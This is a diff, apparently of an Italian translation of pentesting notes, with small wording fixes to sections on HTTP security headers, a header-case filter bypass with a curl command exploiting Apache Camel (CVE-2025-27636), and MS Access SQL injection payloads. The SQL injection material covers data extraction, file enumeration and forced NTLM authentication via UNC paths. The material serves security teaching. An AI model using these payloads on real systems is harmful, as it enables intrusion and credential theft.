- L'intestazione **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Ad esempio:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -129,7 +129,7 @@ Questo significa che il file chiamato "filename.jpg" è destinato ad essere scar
|
||||
|
||||
### **Tipi Fidati**
|
||||
|
||||
Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente progettati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate a API web pericolose, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
|
||||
Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente progettati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate API web pericolose, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -154,7 +154,7 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Per combattere il clickjacking, questo header limita come i documenti possono essere incorporati nei tag `<frame>`, `<iframe>`, `<embed>` o `<object>`, raccomandando a tutti i documenti di specificare esplicitamente i loro permessi di incorporamento.
|
||||
Per combattere il clickjacking, questo header limita come i documenti possono essere incorporati nei tag `<frame>`, `<iframe>`, `<embed>` o `<object>`, raccomandando a tutti i documenti di specificare esplicitamente le loro autorizzazioni di incorporamento.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
@ -187,17 +187,17 @@ Situazioni tipiche in cui appare questo errore:
|
||||
|
||||
* Liste di autorizzazione/negazione personalizzate che cercano di bloccare header interni "pericolosi" prima che la richiesta raggiunga un componente sensibile.
|
||||
* Implementazioni interne di pseudo-header di reverse-proxy (ad esempio, sanificazione di `X-Forwarded-For`).
|
||||
* Framework che espongono endpoint di gestione / debug e si basano sui nomi degli header per l'autenticazione o la selezione dei comandi.
|
||||
* Framework che espongono endpoint di gestione/debug e si basano sui nomi degli header per l'autenticazione o la selezione dei comandi.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Identificare un header che viene filtrato o convalidato lato server (ad esempio, leggendo il codice sorgente, la documentazione o i messaggi di errore).
|
||||
2. Inviare lo **stesso header con una diversa capitalizzazione** (capitalizzazione mista o maiuscola). Poiché gli stack HTTP di solito canonizzano gli header solo *dopo* che il codice utente è stato eseguito, il controllo vulnerabile può essere saltato.
|
||||
2. Inviare lo **stesso header con una diversa capitalizzazione** (mixed-case o maiuscolo). Poiché gli stack HTTP di solito canonizzano gli header solo *dopo* che il codice utente è stato eseguito, il controllo vulnerabile può essere saltato.
|
||||
3. Se il componente downstream tratta gli header in modo case-insensitive (la maggior parte lo fa), accetterà il valore controllato dall'attaccante.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
Nelle versioni vulnerabili di Apache Camel, i percorsi del *Command Center* cercano di bloccare richieste non attendibili rimuovendo gli header `CamelExecCommandExecutable` e `CamelExecCommandArgs`. Il confronto è stato effettuato con `equals()`, quindi solo i nomi esatti in minuscolo sono stati rimossi.
|
||||
Nelle versioni vulnerabili di Apache Camel, le rotte del *Command Center* cercano di bloccare richieste non attendibili rimuovendo gli header `CamelExecCommandExecutable` e `CamelExecCommandArgs`. Il confronto è stato effettuato con `equals()`, quindi solo i nomi esatti in minuscolo sono stati rimossi.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
@ -208,7 +208,7 @@ Le intestazioni raggiungono il componente `exec` non filtrate, risultando in un'
|
||||
|
||||
### Rilevamento e Mitigazione
|
||||
|
||||
* Normalizza tutti i nomi delle intestazioni a un unico caso (di solito minuscolo) **prima** di eseguire confronti di autorizzazione/rifiuto.
|
||||
* Normalizza tutti i nomi delle intestazioni a un unico caso (di solito minuscolo) **prima** di eseguire confronti di autorizzazione/negazione.
|
||||
* Rifiuta duplicati sospetti: se sono presenti sia `Header:` che `HeAdEr:`, trattalo come un'anomalia.
|
||||
* Utilizza una lista di autorizzazione positiva applicata **dopo** la canonicalizzazione.
|
||||
* Proteggi gli endpoint di gestione con autenticazione e segmentazione della rete.
|
||||
|
@ -52,7 +52,7 @@ Pertanto, devi conoscere un **nome di tabella valido**.
|
||||
|
||||
**MS Access** consente una **sintassi strana** come **`'1'=2='3'='asd'=false`**. Come di consueto, l'iniezione SQL sarà all'interno di una clausola **`WHERE`** e possiamo abusarne.
|
||||
|
||||
Immagina di avere una SQLi in un database MS Access e sai (o hai indovinato) che un **nome di colonna è username**, e questo è il campo che vuoi **esfiltrare**. Potresti controllare le diverse risposte dell'app web quando viene utilizzata la tecnica dei chaining equals e potenzialmente esfiltrare contenuti con un **iniezione booleana** utilizzando la funzione **`Mid`** per ottenere sottostringhe.
|
||||
Immagina di avere una SQLi in un database MS Access e sai (o hai indovinato) che un **nome di colonna è username**, e questo è il campo che vuoi **esfiltrare**. Potresti controllare le diverse risposte dell'app web quando viene utilizzata la tecnica di chaining equals e potenzialmente esfiltrare contenuti con un **iniezione booleana** utilizzando la funzione **`Mid`** per ottenere sottostringhe.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
@ -79,7 +79,7 @@ _Feel free to check this in the online playground._
|
||||
|
||||
### Brute-Forcing Nomi delle colonne
|
||||
|
||||
Puoi **forzare i nomi delle colonne correnti** con il trucco della concatenazione degli uguali con:
|
||||
Puoi **forzare i nomi delle colonne correnti** con il trucco della concatenazione uguale con:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -95,7 +95,7 @@ Oppure puoi forzare i nomi delle colonne di una **tabella diversa** con:
|
||||
```
|
||||
### Dumping data
|
||||
|
||||
Abbiamo già discusso della [**tecnica chaining equals**](ms-access-sql-injection.md#chaining-equals-+-substring) **per estrarre dati dalle tabelle attuali e da altre tabelle**. Ma ci sono altri modi:
|
||||
Abbiamo già discusso della [**tecnica del chaining equals**](ms-access-sql-injection.md#chaining-equals-+-substring) **per estrarre dati dalle tabelle attuali e da altre tabelle**. Ma ci sono altri modi:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
@ -150,7 +150,7 @@ MS Access risponde con un **messaggio di errore contenente il percorso completo
|
||||
|
||||
### Enumerazione dei File
|
||||
|
||||
Il seguente vettore d'attacco può essere utilizzato per **inferire l'esistenza di un file nel filesystem remoto**. Se il file specificato esiste, MS Access attiva un messaggio di errore che informa che il formato del database è invalido:
|
||||
Il seguente vettore d'attacco può essere utilizzato per **inferire l'esistenza di un file nel filesystem remoto**. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database è invalido:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
@ -164,7 +164,7 @@ Un altro modo per enumerare i file consiste nel **specificare un elemento databa
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Dove **name[i] è un nome di file .mdb** e **realTable è una tabella esistente** all'interno del database. Anche se MS Access attiverà sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.
|
||||
Dove **name[i] è un nome di file .mdb** e **realTable è una tabella esistente** all'interno del database. Anche se MS Access genererà sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.
|
||||
|
||||
### Accesso Remoto al Database e Furto di Credenziali NTLM (2023)
|
||||
|
||||
@ -172,10 +172,10 @@ Dal Jet 4.0 ogni query può fare riferimento a una tabella situata in un file `.
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
Se l'input dell'utente è concatenato nella parte dopo **IN** (o in una chiamata `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), un attaccante può specificare un **UNC path** che punta a un host che controlla. Il motore:
|
||||
Se l'input dell'utente è concatenato nella parte dopo **IN** (o in una chiamata `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), un attaccante può specificare un **percorso UNC** che punta a un host che controlla. Il motore:
|
||||
|
||||
1. cercherà di autenticarsi tramite SMB / HTTP per aprire il database remoto;
|
||||
2. esporrà le **NTLM credentials** del server web (autenticazione forzata);
|
||||
1. tenterà di autenticarsi tramite SMB / HTTP per aprire il database remoto;
|
||||
2. esporrà le **credenziali NTLM** del server web (autenticazione forzata);
|
||||
3. analizzerà il file remoto – un database malformato o malevolo può attivare bug di corruzione della memoria Jet/ACE che sono stati corretti più volte (ad es. CVE-2021-28455).
|
||||
|
||||
Esempio pratico di iniezione:
|
||||
|
Loading…
x
Reference in New Issue
Block a user